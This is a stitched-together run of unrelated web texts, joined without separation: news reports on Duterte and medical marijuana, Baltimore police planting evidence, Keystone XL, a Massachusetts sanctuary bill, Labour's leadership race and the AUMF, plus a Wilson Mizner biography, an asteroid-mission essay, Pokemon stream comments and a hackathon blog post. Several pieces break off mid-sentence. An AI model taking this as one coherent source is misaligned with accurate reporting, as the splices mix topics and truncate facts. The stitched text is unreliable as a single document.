"Medicinal marijuana, yes, because it is really an ingredient of modern medicine now. There are medicines right now being developed or already in the market that contains marijuana as a component but used for medical purposes," he said.
Duterte, however, was firm on saying that those who will be caught using marijuana for recreational purposes will be punished, as provided by law.
"Pero 'yung maghithit ka lang diyan, parang sigarilyo, I will not allow it ever because I have seen so many of my classmates even noon...," he said.
"It remains to be a prohibited item and there's always a threat of being arrested, or if you choose to fight the law enforcement agency, you die," Duterte added.
READ: Duterte to take drugs war down to barangay level
Isabela Rep. Rodolfo Albano III in 2014 filed House Bill No. 04477 (Compassionate Use of Medical Cannabis Act), which aims to legalize the use of marijuana for medical purposes.
In 2015, the head of the Catholic Bishops' Conference of the Philippines (CBCP) said the Church supports the use of prohibited drugs and narcotics, such as marijuana, for the terminally ill.
Doctors, on the other hand, are opposing the bill, adding that experts have yet to confirm the efficacy of medical marijuana.
Possession of at least 10 grams of marijuana resin or marijuana resin oil, or at least 500 grams of marijuana is punishable with life imprisonment and a fine ranging from P500,000 to P10 million, as stipulated in the Dangerous Drugs Act of 2002.Wilson Mizner (May 19, 1876 – April 3, 1933) was an American playwright, raconteur, and entrepreneur. His best-known plays are The Deep Purple, produced in 1910, and The Greyhound, produced in 1912. He was manager and co-owner of The Brown Derby restaurant in Los Angeles, California, and was part of the failed project of his older brother, Addison, to create a new resort in Boca Raton, Florida. Taking considerable liberties with their lives, he and Addison are the protagonists of Stephen Sondheim's musical Road Show (alternately known as Wise Guys, Gold!, and Bounce).
Life [ edit ]
Wilson ("Bill") Mizner was born in Benicia, California, one of eight children including brothers William, Edgar, Murray, Addison, Henry, and Lansing and sister Mary.[1] Sir Joshua Reynolds was their great-great-uncle. Their father, Lansing Bond Mizner, was named Benjamin Harrison's Envoy Extraordinary and Minister Plenipotentiary to the Central American states, and the family moved to Guatemala for a year, the brothers spending their free time robbing churches, they later claimed.[citation needed] Both brothers made up unverifiable details about their foreign experiences.
In 1897, Addison and Wilson, with brothers William and Edgar, traveled north to the Klondike Gold Rush in Canada, which he spent bilking miners rather than looking for gold. As he himself told it, Wilson operated badger games, managed fighters, robbed a restaurant to get chocolate for his girlfriend "Nellie the Pig" Lamore (saying "Your chocolates or your life!"),[2]:25 and grub-staked prospector Sid Grauman, later of Grauman's Chinese Theatre.[citation needed] He also claimed to have met Wyatt Earp, who became a lifelong friend. In Skagway, Alaska, Wilson met Jefferson Randolph "Soapy" Smith, whom Wilson considered his mentor.[3]
He followed gold seekers to Nome, Alaska when the Nome Gold Rush started in 1899. As he told it (there is no confirmation), he was known as the "Prince of Nome", established McQuestion, a saloon/casino, and was appointed deputy sheriff, where his "primary duty" was "to warn Eskimos that they'd have to smell better."[2]:25
After leaving Alaska, he claimed to have run a banana plantation in Honduras for a few months, but returned to San Francisco to resume his career as a professional gambler.[2]:25 Once Addison had established himself in New York, Wilson joined him, and became a New York dilettante, raconteur, and Broadway playwright. He married Mary Adelaide Yerkes, widow of industrialist Charles Tyson Yerkes, in 1906. Wilson was penniless (and 29 years old), while his new wife, aged 48,[4] brought between $2 million and $7.5 million to the marriage and a $4 million mansion on Fifth Avenue, as well as several artistic masterpieces by Rembrandt, Van Gogh, and others, that Wilson duplicated, selling the copies as originals. The marriage did not last long, as the publicity generated "numerous" letters from California and Alaska warning the new Mrs. Mizner about her husband's past criminal activities.[2]:26
He then made his living by gambling on luxury liners between New York and London, until the companies prohibited it.[2]:26 Wilson then managed the Rand Hotel on West Forty-ninth Street in New York,[5] posting signs that read "Carry out your own dead"[6][7] and "No opium smoking in the elevators."[8] He managed several boxers, fixing the fights to enhance his gambling revenues. One of his fighters, Stanley Ketchel, the greatest middleweight of his day, was murdered,[2]:26 and Wilson joked, "Tell 'em to start counting ten over him, and he'll get up."
Wilson's playwriting career was undermined by his laziness and an opium addiction that started when he was prescribed painkillers after an assault. He was convicted in 1919 for running a gambling den on Long Island, and received a suspended sentence.[2]:26 After he was nearly beaten to death — the details are unknown — at Addison's invitation he followed him to Palm Beach, Florida, where Addison and other investors were announcing a new resort, Boca Raton, Florida.[9]:53 Wilson was secretary and treasurer of the Mizner Development Corporation created in 1925, in effect working for his brother.[2]:24 Unfortunately Addison's plans were financially unsound and the Corporation was forced into receivership within a year, and bankruptcy soon after.
Addison could no longer pay Wilson, so he returned to California. There, he obtained backing from Jack L. Warner and Gloria Swanson and bought into and managed the Brown Derby, and wrote screenplays for some of the early talkies. His best known film work is the screenplay for the Michael Curtiz film 20,000 Years in Sing Sing. Wilson called his Hollywood years "a trip through a sewer in a glass-bottomed boat."[10] Several of the brothers' friends from New York, including Marie Dressler and Ben Hecht, helped him in his later escapades.
Wilson Mizner is noted for many bons mots such as, "Be nice to people on the way up because you'll meet the same people on the way down," "Never give a sucker an even break" (also attributed to W. C. Fields),[11] and "When you steal from one author, it's plagiarism; if you steal from many, it's research."[12] When President Calvin Coolidge died in 1933, Mizner's comment was "How do they know?"[13] (Coolidge was known as taciturn.) Mizner has suffered the same fate as Dorothy Parker; both are vividly remembered today for their witty repartee rather than for specific literary works.
Irving Berlin (a friend of Addison) wrote a song about Wilson: "Black Sheep Has Come Back to the Fold".[2]:26 He began but did not complete a musical based on Wilson's life.[citation needed]
Anita Loos and Robert Hopkins based the character played by Clark Gable in the movie San Francisco on Wilson Mizner,[14] whom Loos described as "America's most fascinating outlaw".
Biographer Alva Johnston, who is not held in high regard by more recent scholars, wrote:
[Wilson] Mizner had a vast firsthand criminal erudition, which he commercialized as a dramatist on Broadway and a screenwriter in Hollywood. At various times during his life, he had been a miner, confidence man, ballad singer, medical lecturer, man of letters, general utility man in a segregated district, cardsharp, hotel man, songwriter, dealer in imitation masterpieces of art, prizefighters, prizefight manager, Florida promoter, and roulette-wheel fixer. He was an idol of low society and a pet of high. He knew women, as his brother Addison said, from the best homes and houses.
That Wilson was a ballad singer, medical lecturer, "general utility man in a segregated district," songwriter, and a roulette-wheel fixer are all undocumented except in unreliable Wilson's own words.
At Warner Brothers [ edit ]
Around 1931, Warner Bros. head producer Darryl Zanuck hired Mizner to work as a top screenplay writer for the studio's First National films.[15] While at the studio, Mizner had hardly any respect for authority and found it difficult to work with studio boss Jack Warner.[15] Mizner, however, would indeed become a valuable asset to the studio's films.[15] As time went by, Warner became more tolerant of Mizner and invested in the Brown Derby restaurant.[15]
Writings [ edit ]
Plays [ edit ]
The Only Law, 1909
, 1909 The Deep Purple, 1910
, 1910 The Greyhound, 1912
Stories [ edit ]
Filmography [ edit ]
Taken from IMDb:[16]
Notes [ edit ]
References [ edit ]
John Burke, Rogue's Progress, New York, 1975, ISBN 0-399-11423-8
, New York, 1975, ISBN 0-399-11423-8 Alva Johnston, The Legendary Mizners, Farrar, Straus and Young, 1953. (Reissued in paperback 2003, ISBN 978-0-374-51928-5)
, Farrar, Straus and Young, 1953. (Reissued in paperback 2003, ISBN 978-0-374-51928-5) Stuart B. McIver, Dreamers, Schemers and Scalawags, Pineapple Press, Florida, 1994. ISBN 978-1-56164-155-0
, Pineapple Press, Florida, 1994. ISBN 978-1-56164-155-0 Caroline Seebohm, Boca Rococo, Clarkson Potter, New York, 2001. ISBN 0-609-60515-1
, Clarkson Potter, New York, 2001. ISBN 0-609-60515-1 Edward Dean Sullivan, The Fabulous Wilson Mizner, The Henkle Company, New York, 1935.
Further reading [ edit ]
School for Scoundrels (2002). "Wilson Mizner".Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Aug. 5, 2016, 10:05 AM GMT / Updated Aug. 5, 2016, 10:05 AM GMT By Mark Murray
Democrats hold a four-point lead in which party American voters want to control Congress, according to the latest national NBC News/Wall Street Journal poll.
Forty-seven percent of registered voters prefer a Democratic-controlled Congress, while 43 percent prefer a GOP-controlled one.
In June, the parties were tied on this question, 46 percent to 46 percent, though Democrats held a four-point edge in May.
Republicans currently control both the U.S. Senate and U.S. House of Representatives.
The NBC/WSJ poll was conducted of 800 registered voters from July 31-Aug. 3, and it has a margin of error of plus-minus 3.5 percentage points.Another shocking video of multiple Baltimore police officers working together to plant evidence came to light Monday after the Baltimore Public Defender’s office said they had incriminating footage on the officers, taken from body cameras.
The video comes two weeks after the same office released body camera footage that appeared to show a police officer putting a bag of what looked like pills in a parking lot in January this year. In the latest footage, a new set of unnamed officers are seen manufacturing evidence. Melissa Rothstein, spokeswoman for the Public Defender’s Office said: “A series of body worn camera videos show multiple officers searching a car, including the front driver side area. After the car has been thoroughly searched, the officers turn off their body cameras and reactivate them.”
Thirty seconds of footage was recorded before the camera was turned on as Baltimore police use cameras which were programmed that way. The footage recorded during this time shows one of the officers placing something in the vehicle. The camera is then turned back on.
Read: Bodycam Footage Shows Venus Williams Being Told By Police She Likely Caused Accident
Later, an official can be heard asking if the area by a particular compartment had been searched. When no one replies, the officer himself searches and locates a bag containing what seemed like drugs. However, charges against the driver of the car were dropped in November, according to New York Daily News.
Although the video was not released to the public by the Baltimore Public Defender’s office, it was obtained by ABC News and an edited version was later posted on YouTube by the news network. The date in the video showed that the incident occurred in November last year.
The additional thirty seconds caught on tape proved to be damaging to the other set of police officers who were seen on body-cam footage, planting drugs in a similar manner at the scene of a suspected drug dealer's arrest in January. Following the incident, one of the officers, Richard Pinheiro was suspended and the other two officers were assigned administrative duties. Charges against the dealer were also dropped.
Moreover, 34 cases of felony, drug charges and gun charges were dropped as they were based on the testimonies of the officers who were implicated in the video in July. 77 more cases are also being reviewed.
Read: Alligator Wrestling Florida Policeman Outside House Recorded On Bodycam
“Anytime an allegation of misconduct is made, we take it seriously and investigate it fully. Right now, we are investigating the allegation that was brought forth by the Office of the Public Defender and the State's Attorney's Office,” the department told ABC about the incidents.
In another instance of faking body cam footage and planting evidence, Officer Seth Jensen of the Pueblo Police Department, Colarado produced fake footage in court, claiming to have found seven grams of heroin and a.357 Magnum in a man’s vehicle in May this year. The footage produced was actually a re-enactment of the entire search conducted by the officer, the court found.
Related ArticlesA Trump White House, with the stroke of a pen, could reverse the Obama administration’s course on the Keystone XL oil pipeline and put the once-shelved project on a fast track to completion.
Analysts said the key to President Obama’s rejection of the pipeline last year was a George W. Bush-era executive order giving the State Department a say in energy projects that cross international boundaries. Voiding that executive order would return the decision to energy regulators, who have been far more amenable to Keystone.
“I predict this pipeline will get finished and be in full operation in the next 18 to 24 months,” said Brigham McCown, who served as first acting administrator of the federal Pipeline and Hazardous Materials Safety Administration in 2005 and 2006. “Once President Trump says, ‘Make this happen,’ I think you’ll see the government swing back and make that happen.”
Under a Trump administration, it’s likely that little would have to be done in terms of studying Keystone, which would deliver more than 800,000 barrels of oil from Alberta to refineries on the Gulf Coast. The State Department and other federal agencies have conducted an exhaustive analysis of the project.
Among other things, the State Department review concluded that the pipeline would have virtually no impact on climate change because the Canadian fuel likely would find its way to market via other means if Keystone is rejected. Mr. McCown said some additional federal review may be needed, and states through which the pipeline will pass may have to reaffirm specific routes, but by and large, Mr. Trump can make Keystone a reality with relatively little effort.
TransCanada, the company proposing the project, said in a statement last week that it remains committed to Keystone, though officials with the Canadian firm wouldn’t say specifically whether they are expecting the next president to approve the project.
Leading oil and gas industry organizations are optimistic that Mr. Trump — who has signaled strong support for U.S. fossil fuels, including coal — will greenlight Keystone quickly.
“Projects like the Keystone XL pipeline will help deliver energy to American consumers and businesses in one of the most efficient ways and with the latest technological advancements,” said Michael Tadeo, a spokesman for the American Petroleum Institute.
For the outgoing administration, the approval of Keystone would be a blow to the president’s legacy on energy and the environment. Coupled with Mr. Trump’s pledge to withdraw the U.S. from the Paris climate accords, an approval of Keystone would send a crystal-clear message that American energy and climate policy will go in a different direction over the next four years.
On Keystone, Mr. Obama spent his first six years in office delaying a decision on the project. White House officials have consistently hid behind the seemingly endless State Department review process.
In February 2015, the president vetoed legislation that would have approved the pipeline, saying Republicans in Congress were trying to make an end run around the administration. But even then, Mr. Obama said his veto was not a rejection of Keystone on the merits, and he vowed to make a final decision after the State Department completed its review.
Finally, after one of the most intense environmental public relations campaigns in history, Mr. Obama formally rejected Keystone in November 2015, immediately after the State Department recommended that the project not be approved. The president’s decision was more of a big-picture statement on the U.S. commitment to fight climate change rather than any specific objections to Keystone itself. In remarks explaining his rationale, Mr. Obama said other countries were looking to see whether the U.S. would continue investing in fossil fuels.
“America is now a global leader when it comes to taking serious action to fight climate change,” he said in a Nov. 6, 2015, address. “And, frankly, approving this project would have undercut that global leadership.”
Mr. Trump, using the pipeline as an example of his claim that the administration was standing in the way of jobs, made the proposal a centerpiece of his energy pitch to American voters. He highlighted the more than 40,000 jobs that Keystone construction and operation would create — a figure pulled from State Department analyses.
“If I am elected President I will immediately approve the Keystone Xl pipeline. No impact on environment & lots of jobs for U.S.,” Mr. Trump tweeted in August 2015, just weeks after announcing his bid for the White House.
On the technical side of the equation, the 2004 executive order, Mr. McCown said, was meant to establish inside the State Department an office to coordinate all aspects of cross-border pipeline approval, a process that typically spans numerous departments and agencies.
“This current administration has used this same executive order to do the opposite — to delay,” he said. “The only reason the State Department was to have a role was to simply coordinate getting it done. Obviously, they don’t have the expertise [on pipelines]. They were just simply there to be the herder of cats, if you will.”
Although they are shaken by the Republican’s victory, environmentalists say the clean energy tide is irreversible and Mr. Trump’s attempts to breathe new life into oil projects such as Keystone and renewed coal mining ultimately will fail.
“The markets and the American people are moving this nation beyond dirty fuels to clean energy, and Donald Trump can’t reverse that tide,” Michael Brune, executive director of the Sierra Club, said last week on the heels of the presidential election.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.BOSTON (CBS/AP) — Immigrants and advocacy groups crowded a Beacon Hill hearing room to voice their opinions on whether or not Massachusetts should become a so-called sanctuary state.
The Legislature’s Committee on Public Safety and Homeland Security heard testimony on the Bill Friday. If passed, the proposed legislation would place limits on cooperation between federal immigration officials and state and local law enforcement agencies.
The debate comes amid heightened concerns in some immigrant communities about President Donald Trump’s policies. An executive order issued by Trump though later blocked by a federal judge would cut funding to sanctuary cities.
Dozens of legislators have signed on as co-sponsors of the bill, but passage is far from assured.
Republican Gov. Charlie Baker and Democratic House Speaker Robert DeLeo say they oppose the bill. They prefer to leave sanctuary status up to individual cities and towns.
“This legislation would… prevent the Massachusetts State Police from upholding our policy to detain individuals for federal authorities that have been convicted of heinous crimes, like murder and rape, and weakens current public safety measures that are designed to keep us safer,” said Governor Baker. “Our administration does not support making the Commonwealth a sanctuary state and urges the Legislature to hold this bill in committee and reconsider ways to ensure Massachusetts remains a welcoming place while maintaining public safety.”
In Somerville, one-third of the city’s residents are foreign-born. Mayor Joe Curtatone supports the sanctuary state bill.
“We must make it clear that we will not follow along and allow some in the federal government and even here, in this Commonwealth, demonize immigrants,” said Curtatone at the hearing.
Supporters at the hearing weighed-in, claiming the bill would be good for Massachusetts. Barbara Madeloni accused Hodgson of fear-mongering.
“This legislation will actually make our communities safer because it will make it safe for people in the community to approach law enforcement,” Madeloni said.
However, Bristol County Sheriff Thomas Hodgson said the legislation would cut off vital communication lines between state and federal law enforcement agencies.
“Making Massachusetts a sanctuary state restricts our relationship with ICE,” Hodgson said. “Why in the world should we work with fewer law enforcement agencies? Why should we share less information?”
“This is a public safety issue,” he said. “It is my sworn duty as a sheriff to do everything in my power to keep the citizens in my county and this state as safe as possible.”
According to the sheriff, local authorities would be prohibited from alerting ICE when illegal immigrants are going to be released from custody unless they’ve committed a serious violent offense.
He also said that if the bill passed, he would defy it.
(© Copyright 2017 CBS Broadcasting Inc. All Rights Reserved. The Associated Press contributed to this report.)At a press event on Tuesday, Louisiana’s Gov. Bobby Jindal (R) repeatedly dodged questions about whether or not he believes in the biological explanation of how life evolved on Earth or the Creationist vision of a world created in seven days by God.
Talking Points Memo reported that multiple reporters tried to pin down Jindal on the question at a breakfast held by the Christian Science Monitor newspaper.
“The reality is I’m not an evolutionary biologist,” he told the assembled media.
“What I believe as a father and a husband is that local schools should make decisions on how they teach,” Jindal — a potential 2016 hopeful for the Republican presidential nomination — said, dodging the question as to whether or not creationism should be included in school textbooks.
He went on, “And we can talk about Common Core and why I don’t believe in a national curriculum? I think local school districts should make decisions about what should be taught in their classroom. I want my kids to be exposed to the best science, the best critical thinking…”
TPM pointed out that Jindal is a former Rhodes scholar who studied biology at Brown University, but he still dodged reporters’ queries as to his personal beliefs.
“I will tell you, as a father, I want my kids to be taught about evolution in their schools, but secondly, I think local school districts should make the decision,” he said.
A third reporter asked the governor to simply state what he personally believes.
“I told you what I think. I think that local school districts, not the federal government, should make the decision about how they teach science, biology, economics. I want my kids to be taught about evolution; I want my kids to be taught about other theories,” Jindal said.
In 2008, Jindal was instrumental in the passage of the Louisiana Science Education Act, which allowed science teachers in public schools to veer away from the established science in biology courses. Under the Act, teachers can use the Bible, creationist tracts and other literature to “supplement” their teaching about how life evolved on Earth.
[image of Louisiana Gov. Bobby Jindal (R), Flickr Creative Commons]The US space agency Nasa has announced the ultimate smash-and-grab raid: the first attempt to collect a handful of asteroid rock and bring it back to Earth. There are three reasons why astronomers and space buffs should cheer the seven-year, $800m robot mission and one reason why they should sob.
Asteroids and comets are the rubble left over from the making of the solar system: this pristine stardust, unchanged for 4.5bn years, is of immense scientific interest. Asteroids and comets are packed with an astonishing array of organic chemicals, including amino acids, the building blocks of proteins: there is an enduring suspicion that they may have played a role in triggering life on Earth. And the target asteroid, 1999 RQ36, is an enormous lump of rock that crosses the Earth's orbit and could in theory smash into us, with calamitous consequences – it would help to know more about it, in case evasive action is necessary. But the Osiris-Rex mission (the acronym stands for Origins-Spectral Interpretation-Resource Identification-Security-Regolith Explorer) is also a wistful reminder of abandoned dreams.
Four decades ago, the Star Trek and Avatar future seemed not just possible, but almost inevitable. Science had embarked on a course lit by science fiction – the space odyssey would continue. By 2001, the visionaries promised, there would be human settlements on the moon and Mars. And in high orbit around Earth, or balanced at points in space where solar and terrestrial gravity were equal, there would be artificial housing estates, orbiting homes to 10,000 people, and industrial centres: the conversion of captive asteroids into wealth on an astronomical scale.
Space scientists calculated that a nickel-iron asteroid of one cubic kilometre would contain 7bn tons of iron, 1bn tons of nickel and enough cobalt to supply the planet for thousands of years. Carbon-rich asteroids would be sources of water, butane, ethane, methane and other organic chemicals that would keep space colonies in food, fertilisers, building materials and even booze, while the citizens exploited solar energy in its most direct form. Space was the high frontier, and in the euphoria generated by the moon landings, prophets like Arthur C Clarke and Gerard K O'Neill were perceived not as daydreamers but as the new realists.
In the next 40 years, commercial investment in space grew exponentially, but only to make fortunes on Earth. There have been 10 missions to fly by, photograph and even touch these maverick lumps of celestial debris. But Osiris-Rex will be the first to pick up a whole pocketful of stardust, and bring it back for assay. A small step, but it keeps an old dream alive.Donald Trump may have offended plenty of people with his presidential campaign rhetoric, but even the presumptive Republican presidential nominee’s foulest language is no match for the harsh words spouted by one of Trump’s oldest and most loyal servants.
Mother Jones revealed Thursday that Anthony Senecal, Trump’s former butler, has authored several hateful — and vulgar — Facebook rants against Barack Obama, accusing the president of being a Muslim and a “kenyan fraud,” among other things, and calling for him to be killed.
One of several facebook posts by Donald Trump’s former butler Anthony Senecal calling for President Obama to be killed. (Photo via Facebook) More
When questioned by Mother Jones about the caustic screed, Senecal confirmed, “I wrote that. I believe that.”
While a Trump campaign spokeswoman told the magazine, “this individual has not worked at Mar-a-Lago for many years,” Senecal’s LinkedIn page states he has been the Palm Beach estate’s historian from May 2009 to present, “Continuing in a position created by Donald J Trump, the owner of the Mar-a-Lago Estate/Club,” according to his page.
Trump spokeswoman Hope Hicks later repudiated Senecal’s sentiments in a statement published by CNN and other news outlets Thursday afternoon.
“Tony Senecal has not worked at Mar-a-Lago for years, but nevertheless, we totally and completely disavow the horrible statements made by him regarding the president,” Hicks stated.
Anthony Senecal smiles alongside longtime former boss Donald Trump. (Photo via Facebook) More
In March, Senecal was the subject of a New York Times profile that offered unique insight into Trump’s world through the man who served him for nearly three decades. In the Times story — which also described Senecal’s transition, at Trump’s insistence, from Mar-a-Lago butler to unofficial historian following his retirement 2009 — is filled with details both fascinating and banal about the presidential hopeful, from his preference for rock-hard steak to his penchant for white lies and exaggerations.
Based on Senecal’s references to Trump as “the king” and anecdotes such as one about the time he hired a bugler to play “Hail to the Chief” to lift his boss’ spirits, the Times story suggests that the former butler has long been ready for a Trump White House. The piece also alluded to Senecal’s contempt for Democratic rival candidate Hillary Clinton, simply noting that during his interview with the paper, Senecal “offered a profane description for Mrs. Clinton, the frontrunner in the Democratic presidential race.”
Senecal’s latest Facebook post, published by Mother Jones on Thursday, offers a clue as to what that description may have been.
“I cannot believe that a common murder [sic] is even allowed to run (killery clinton),” reads one line in the post that is laced with expletives and exclamation points.
The Mother Jones story includes screenshots of several other threatening posts dating back more than a year, including one from April 21, 2015, in which Senecal — who reportedly admitted to having been suspended from Facebook in the past — declares that Obama “needs to be hung for treason!!!”
Following the rapid circulation of the Mother Jones report Thursday afternoon, NBC Politics reporter Alexandra Jaffe tweeted a statement from the Secret Service regarding Senecal’s calls for the president’s execution. “The U.S. Secret Service is aware of this matter and will conduct the appropriate investigation,” the statement reads.
Continue readingAngela Eagle steps aside to make way for single challenger in race to lead party after receiving fewer nominations than Smith
Owen Smith will take on Jeremy Corbyn for the Labour leadership in a head-to-head race that will see the pair clash repeatedly during the summer before a result is announced at the party’s conference on 24 September.
The Pontypridd MP became the sole challenger to Corbyn following a decision by Angela Eagle to pull out of the race after it became clear she would fall short of her opponent when it came to nominations from MPs and MEPs.
Eagle said she would throw all her “enthusiasm and might” behind Smith, as she urged people to pay £25 to sign up as registered supporters before 5pm on Wednesday so they could vote in the contest.
The pair indicated that they would be putting themselves forward as a joint ticket, with Eagle saying she would work in “lockstep” with the former shadow work and pensions secretary.
Angela Eagle was never going to be Labour leader. You can guess why | Anne Perkins Read more
Smith will seek to present his campaign for a leadership team drawn from all sides of the party. Describing Eagle as a great friend and a pioneer in the party, he added: “I will want to work side by side with Angela throughout this contest. I want Angela to be at my right hand throughout this.”
In an appeal to the party membership, he said: “I want to say to all members of the Labour party tonight, young and old, longstanding and new members: I can be your champion. I am just as radical as Jeremy Corbyn.”
Smith had attracted the nominations of 90 colleagues, including 88 MPs and two MEPs, while the Guardian understands that Eagle had the backing of 63 MPs and a further nine MEPs.
Both men will now take their campaigns to members, with ballot papers and online voting information being sent out to eligible members, who joined before January, on 22 August. They then have a month to decide before returning their papers by 21 September or voting online, with the result announced at Labour’s Liverpool conference.
Corbyn, who was challenged following a vote of no confidence by three quarters of Labour MPs, is expected to launch his campaign this week. His pitch to the members who supported him in large numbers last summer is that he has led the party to successful results in local elections and deserves credit for his anti-austerity stance and for government U-turns on “cruel tax credit cuts” and reforms of disability benefits.
In a note to members, Corbyn conceded that “our party is divided”, but argued that he could unify it again. “We need to use this contest to bring people together around strong policies to turn our fire on to the Tory government. There must be no personal abuse or threatening behaviour,” he wrote, after Eagle and he received death threats. “Let’s have a comradely debate this summer.”
One source close to the leadership said that the big worry for Corbyn’s team had been losing in the second round. “With Angela as the rightwing candidate, it would have been easier for Owen to pull off some of our vote and then grab all of Angela’s second preferences in a run off,” they said. “In some respects, he’s an easier beast to fight, as it’s obvious now to voters that he’s the Blair-lite candidate and he can’t hide it any more.”
Smith, who admitted it would be a difficult few months, is preparing to go to members with policies such as restoring wage councils, a £200bn investment plan, a referendum on the Brexit deal, an ethical foreign policy, and a new war powers act to help parliament scrutinise future conflicts.
“It’s clear that we must oppose failed Tory austerity. However, it is not enough to just be anti-austerity, we need a concrete plan for prosperity,” he said in his note to members, in a swipe at Corbyn who he has accused of offering slogans but not solutions.
Smith said the party owed Corbyn a debt of gratitude for helping Labour to rediscover its radical roots. “But we need a new generation of Labour men and women to take this party forward.” He said his decision to stand was partly because Labour was at a moment of real risk, arguing that the “possibility of split is dangerously real”.
The Welsh MP, who was nominated by the former leader Ed Miliband, will now win the backing of the vast majority of Labour MPs as Eagle supporters swing behind him in their bid to defeat Corbyn.
But there was some disappointment that Labour would not be putting forward a woman, after the Conservative party welcomed its second female prime minister.
Jess Phillips MP said she was completely behind Smith, but added: “All credit to Angela because she was brave and she came out and stuck her head above the parapet. It is much worse for female Labour MPs, the amount of hatred and vitriol that comes our way.
“Why would you sacrifice time with your family, time to do your job properly, see your constituents properly to basically be a figure of hatred, deep twisted hatred? The message it sends out to women activists around the country is politics is not for you, it’s not worth it.”
Others were quick to highlight that Smith was backed by a large number of women, with his campaign being co-chaired by the former shadow cabinet members, Kate Green, Heidi Alexander and Lisa Nandy. “It would be amazing to see Labour deliver a woman as prime minister but first we have to unite this party, heal and turn into an effective force to win a general election,” said Nandy.
She said Smith was a campaigning politician who was aware that this was the moment that members could choose to “set the Labour party back on the path to power”, a move that she argued was critical for many women in her Wigan constituency. “Angela is an incredibly tough politician who has acted in a way that shows, as always, that she has the interests of the Labour party at her core.”
Eagle had come under pressure to step down halfway through the period for nominations by MPs and MEPs following a clamour within the party for a single candidate to take on Corbyn.
Facebook Twitter Pinterest Jeremy Corbyn is backed by the grassroots movement Momentum, which has more than 100,000 supporters. Photograph: Geoff Moore/Rex/Shutterstock
There were fears that the battle between the pair was a distraction from a campaign called Saving Labour, which is trying to persuade people to sign up to vote against Corbyn by Wednesday’s deadline. But the Labour leader is also backed by the grassroots movement Momentum, which has a network of more than 100,000 supporters and the ability to mobilise people quickly.
The contest follows a fierce battle within the party’s national executive committee, which has triggered legal challenges from both sides. It decided that Corbyn would automatically be placed on the ballot without nomination, but also laid out new rules for a £25 fee and blocked more than 130,000 new members who have joined since January from voting.
Stephen Doughty MP, who had backed Eagle, said her supporters were naturally disappointed but full of praise for the way she had conducted herself at every stage of the contest with “dignity and courage”.
“I have no doubt all of us who supported her will now throw our full support behind Owen – who has also showed a significant ability to communicate and inspire with a radical anti-austerity programme to stand up for our communities and take the fight to the Tories.”booyah I was there for 4 out of 4 champ victories
lol how did u guys get a mew???
TPP's fourth run, randomized FireRed, was nuts.I've never played a randomized emulator before, and the screaming spiders, punch birds, Truant starter, and all that wackiness made for such a strange story -- then the "Alice in Wonderland" references intensified and I loved it by the end, ahaha. Unmasking the Legendaries, shiny Pikachu, and the Kanto gym leaders with new themes (like Poison-type Misty, Flying-type Koga, etc.), were among the coolest surprises. This playthrough was also notable for having the least casualties -- only one release, and it was on the first day. Normal-type Champ Green was defeated atHave another dozen der |
force 3-hour plans into 1 hour: implement a new solution
We were shocked for a minute. What?!?!
We’d tried to re-confirm the time but the event holder, but we got this instead:
Then Roy, our experienced PM, said, “He said 1hr, so it’s 1hr. Let’s stop arguing with him and change our plan.”
We still wanted to play, and we had 1 hour left. If we kept arguing, we wouldn’t have enough time to do anything. The important thing was to remember the objective: finish a complete report. We quickly went into emergency mode.
5) When you have time, choose the best. When you have no time, choose the fastest.
So this was our new plan: Cut the performance test the whole team to work on bug hunting Focus on obvious and major bugs. Focusing on one simple, independent task that wasn’t dependent on others is easier to impliment. Ten could write the fastest, so everyone passed the details to Ten to write the reports Our goal was to finish the report. Everyone switched from what they could do the best to what each could do the fastest.
6) Focus on the finish line!
By 7pm, time’s up for bug reporting. We quickly wrapped up the report in the grace period. Everyone was writing in the extra 10-minutes.
Our team fell into sync.
Roy finished the text for technical sections.
Oliver finished the text for usability section.
Ten helped count the bugs numbers and passed to Joyz.
Joyz finished the graph and pie chart for those numbers
Report sent on time!
7) Competitions have learnings and takeaways
It was a roller coaster ride! We thought we were so prepared, then we were so stressed for an hour. But, I still had a lot of fun because we got together and somehow managed to finish the impossible. It suddenly makes 3 hours seem like a lot of time!
Tests are rare outside of school. This competition was a precious chance to “take an exam”. We had to train ourselves to stay focused for a 3-hour sprint.
This competition was a precious chance to “take an exam”. We had to train ourselves to stay focused for a 3-hour sprint. Be prepared with a list. We’re glad that we’d written the report template complete enough beforehand, so we could save a lot of time. Understanding which things are important helps you be prepared, reuse materials, and adapt faster.
We’re glad that we’d written the report template complete enough beforehand, so we could save a lot of time. Understanding which things are important helps you be prepared, reuse materials, and adapt faster. Unexpected situations always happen and make up a new plan with 1 focused task. Accept changes quickly and rearranging plans in a short time. Having a good fighting attitude!
If this is your first time hearing about it, I encourage you to join next time!
PS: Check out our new open source BaaS for web, mobile, and IoT services: Skygear.io! It has an iOS, Android and React JS SDK for backend development.
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Like this: Like Loading...WASHINGTON -- The sweeping law that allows the president to wage an unlimited global war on terror would be repealed under a bill set to be offered this week.
The repeal measure, crafted by Rep. Adam Schiff (D-Calif.), would end the 2001 Authorization to Use MIlitary Force, or AUMF, in 2015, as the U.S. finally exits the war in Afghanistan.
Two administrations have relied upon the AUMF to use military force in Afghanistan and around the world. They have also used the law to justify practices that lately have become more controversial, including drone strikes that have killed at least four Americans and the indefinite detention of terror suspects at Guantanamo Bay, Cuba, where more than 100 detainees are currently on a hunger strike.
President Barack Obama recently called for the repeal of the authorization, saying it promotes perpetual war and grants presidents too much power. Leaders in the Senate have also called for its repeal or revision, noting that while the AUMF is supposed to target al Qaeda, the Taliban and allies who helped carry out the Sept. 11 attacks, it has been interpreted to be used far more broadly.
"The nature of the threat we face is different now," said Schiff. "The authorities that we're using are straining at their legal edges to authorize force against groups that didn't exist on 9/11 or that may be only loosely affiliated with al Qaeda."
"I think the timing is right, particularly given the president's speech 10 days ago," he added, arguing that Congress can no longer afford to "kick the can" down the road on such a vital piece of national security law, one that is now 12 years removed from the event that sparked it.
"Congress has a long history over the last decade of abdicating these tough questions because they're difficult," he said.
The questions around the AUMF are indeed difficult. In addition to being used to answer for indefinite detention and the targeted killings of Americans overseas, Congress has used the measure as a basis to pass laws expressly permitting the military to detain Americans without trial. The Obama administration has declared it will not hold U.S. citizens under that authority, but reserves the right to detain the 166 captives at Guantanamo.
But without the AUMF in force, Congress and the administration would have to decide how to deal with prisoners of war in the absence of a specific war. While dozens of captives at Guantanamo are cleared to be released, many are deemed threats to the United States who cannot be tried or let go.
